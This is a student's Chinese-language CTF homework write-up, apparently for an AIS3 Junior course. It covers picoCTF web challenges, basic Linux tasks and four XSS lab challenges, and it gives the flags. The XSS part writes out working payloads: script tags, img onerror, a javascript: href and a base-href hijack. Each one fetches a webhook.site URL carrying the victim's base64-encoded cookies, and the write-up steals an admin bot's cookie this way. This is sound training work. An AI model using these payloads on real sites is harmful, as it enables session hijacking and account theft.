---
# System prepended metadata

title: ais3 junior 前端安全作業

---

:::success
**ais3 junior前端安全作業**
>[name=翁筠喬]
:::
[TOC]
# picoCTF

## GET aHEAD
https://play.picoctf.org/practice/challenge/132
觀察一下可以發現按下RED的method是GET，BLUE的是POST
結合題目去看可以猜出是要用HEAD
一樣用burp suite攔截後按右鍵選「send to repeater」
然後把POST改成HEAD按send就有了
![image](https://hackmd.io/_uploads/H1_QBRBOxg.png)

flag:`picoCTF{r3j3ct_th3_du4l1ty_6ef27873}`

## Cookies
https://play.picoctf.org/practice/challenge/173
打開cookie，會看到name原本是-1，依序往上加數字，加到18就有flag了
![image](https://hackmd.io/_uploads/B1mzX0BOlg.png)

flag:`picoCTF{3v3ry1_l0v3s_c00k135_88acab36}`

## Inspect HTML
https://play.picoctf.org/practice/challenge/275
打開F12就能看到ㄌ
![image](https://hackmd.io/_uploads/Bk35M0Huee.png)

flag:`picoCTF{1n5p3t0r_0f_h7ml_1fd8425b}`

## Bookmarklet
https://play.picoctf.org/practice/challenge/406
進到網頁，會看到他給了一串js程式
程式內容看起來是在解碼一串加密過的flag最後print出這個flag
那應該只要運行程式就好了!
想到F12的Console可以直接運行
貼上程式就取得flag了
![image](https://hackmd.io/_uploads/SJHPPCB_eg.png)

flag:`picoCTF{p@g3_turn3r_18d2fa20}`

## WebDecode
https://play.picoctf.org/practice/challenge/427
點about會顯示try inspecting，F12會看到一串像是flag被base64編碼過的東西
![image](https://hackmd.io/_uploads/Hk5omAHOee.png)
解碼就好._.
![image](https://hackmd.io/_uploads/S1h370B_lx.png)

flag:`picoCTF{web_succ3ssfully_d3c0ded_f6f6b78a}`

# Linux
## challenge-1
用`cat `查看檔案內容
![image](https://hackmd.io/_uploads/BJ1rq0BOel.png)

flag:`AIS3{C0N9_Y0UR_F1R57_F1A9_😼}`
## challenge-2
`ls -a`可以列出`.`開頭檔案
![image](https://hackmd.io/_uploads/H1kI9CHulx.png)

flag:`AIS3{15_a1_W0N7_M155_D07_🚩}`
## challenge-3
`cat` 檔案他會叫你在`/tmp`建立一個叫meow的檔案，`cd`去`/tmp`後
用`touch`建立檔案
![image](https://hackmd.io/_uploads/SJc8UlLdxl.png)

flag:`AIS3{M30W_M30W_900D_J0B5}`
## challenge-4
他叫你把grep移動到challenge-5 ， `mv` 可以移動檔案
mv格式:`mv 檔案 資料夾 `
![image](https://hackmd.io/_uploads/HJ2uqCSdlg.png)
![image](https://hackmd.io/_uploads/B1uqqCS_lx.png)

flag:`AIS3{M0V3_M0VE_HURRY_UP!}`
## challenge-5
資料夾裡只有一個資料夾，按住tap，查看最後一個資料夾(mustbe_here)裡的檔案
![image](https://hackmd.io/_uploads/Hk-nOe8uxl.png)
拿到了中間那段，已知flag開頭是 `AIS` 結尾有 `}`
用`./grep -r "AIS" .`
`./grep -r "}" .` 找到頭跟尾兩段
![image](https://hackmd.io/_uploads/Hk0H_gIdge.png)

三段組合在一起就是flag了
flag:`AIS3{M4st3r_0f_S34rch_4nd_M4tch1$_p0w3rfu11}`
## challenge-6
這題`cat`後他會叫你remove他
用 `rm` 可以移除他
![image](https://hackmd.io/_uploads/H15-CgUOlx.png)

flag:`AIS3{RM_RF_CHUMMY_/_D0N7_D0_17_PL5}`

# XSS
## xss1
一開始先用 `<script>alert(1);</script>` 測試他有沒有xss漏洞
![image](https://hackmd.io/_uploads/ByPpy1wulg.png)
有欸:D
準備偷cookie，去 [webhook](https://webhook.site/) 獲得一個免費網址: `https://webhook.site/45036cb8-6a63-42b7-9cd8-f6b4a6ba60a1`
寫一個script來偷偷餅乾
```
<script>
fetch("https://webhook.site/45036cb8-6a63-42b7-9cd8-f6b4a6ba60a1?"+window.btoa(document.cookie))
</script>
```
![image](https://hackmd.io/_uploads/By-Abkvdel.png)
偷到自己的cookie了，把這個有XSS script的連結拿去回報給admin (**記得改成http**)
顯示`URL received`我們就成功偷到admin的cookie了:`ZmxhZz1OQ0tVQ1RGe3czbGMwbTNfNzBfeDU1X3cwcmxkfQ`
![image](https://hackmd.io/_uploads/r1mYM1Ddll.png)
拿去做base64解碼，成功獲得flag
![image](https://hackmd.io/_uploads/Byi6zJv_xe.png)
flag:`NCKUCTF{w3lc0m3_70_x55_w0rld}`

## xss2
這題說了他用了innerHTML，直接用`<script>alert(1);</script>`會報錯
我們可以用img，src隨便打讓他觸發onerror，然後就會觸發alert(1)
`<img src = 0 onerror=alert(1)></img>`
![image](https://hackmd.io/_uploads/H1M6Egvuex.png)
ok然後就可以把alert的地方換成上一題fetch那行
```
<img src = 0 onerror=fetch(\'https://webhook.site/45036cb8-6a63-42b7-9cd8-f6b4a6ba60a1?\'+window.btoa(document.cookie))> </img>
```
(那行網址的'前要加反斜線不然會報錯)
![image](https://hackmd.io/_uploads/BylEtwevOxl.png)
確定偷到自己的cookie後就把這個有xss的連結拿去回報給admin
![image](https://hackmd.io/_uploads/HJ_hDlwuee.png)
成功偷到admin的cookie!
![image](https://hackmd.io/_uploads/Hk3RwgD_eg.png)
拿去做base64解碼就成功獲得flag了!
flag:`NCKUCTF{1nn3rh7ml_15_n07_3x3cu73_5cr1p7}`

## xss3
這題一開始不知道他要幹嘛，所以我先隨便打123進去
打開F12觀察一下原始碼，可以發現他把我們打的字放到了href裡
![image](https://hackmd.io/_uploads/SylJyZDdeg.png)
去google查到在href裡打 `javascript:` 就可以跑js程式
![image](https://hackmd.io/_uploads/rJ_PJZv_lx.png)
先用 `javascript:alert(1)` 測試一下是否可行
![image](https://hackmd.io/_uploads/H18pkbv_xl.png)
成功了!
將alert那裏換成跟前幾題一樣的fetch
```
javascript:fetch("https://webhook.site/45036cb8-6a63-42b7-9cd8-f6b4a6ba60a1?"+window.btoa(document.cookie))
```
按一下連結，成功偷到自己的cookie
![image](https://hackmd.io/_uploads/S1aGxWw_ee.png)
把連結拿去回報給admin，成功偷到cookie
![image](https://hackmd.io/_uploads/r1aLgZwOgx.png)
做base64解碼就是flag了
![image](https://hackmd.io/_uploads/SJOFlbPugg.png)

flag:`NCKUCTF{p53ud0_pr070c4l_15_50m3_71m3_3v4l}`
## xss4
這題會把我們輸入的文字直接嵌入在HTML裡，還可以看到下面按按鈕的話會去找`/static/script.js`
![image](https://hackmd.io/_uploads/Sy4_T8Ddel.png)
我們可以用`base-uri`來更改所有相對路徑的參考位置
ok然後問題就是我們會需要一個網址來放我們的script.js
我直接把他丟到github上面，script的內容跟前幾題一樣是用`fetch("https://webhook.site/45036cb8-6a63-42b7-9cd8-f6b4a6ba60a1?"+btoa(document.cookie))`
然後我們去題目輸入以下內容
```
<div id=userContent>
      <base href="https://chiauyunweng.github.io/">
</div>
```
submit後可以成功獲得自己的cookie
![image](https://hackmd.io/_uploads/H1CA0LPdgx.png)
把連結拿去回報給admin，成功獲得admin的cookie
![image](https://hackmd.io/_uploads/HJVz1vvdel.png)
拿去做base64解碼就好了!!
![image](https://hackmd.io/_uploads/rygIJPvdgg.png)


flag:`NCKUCTF{b453-url_w1ll_n07_f4llb4ck_70_d3f4ul7-5rc}`
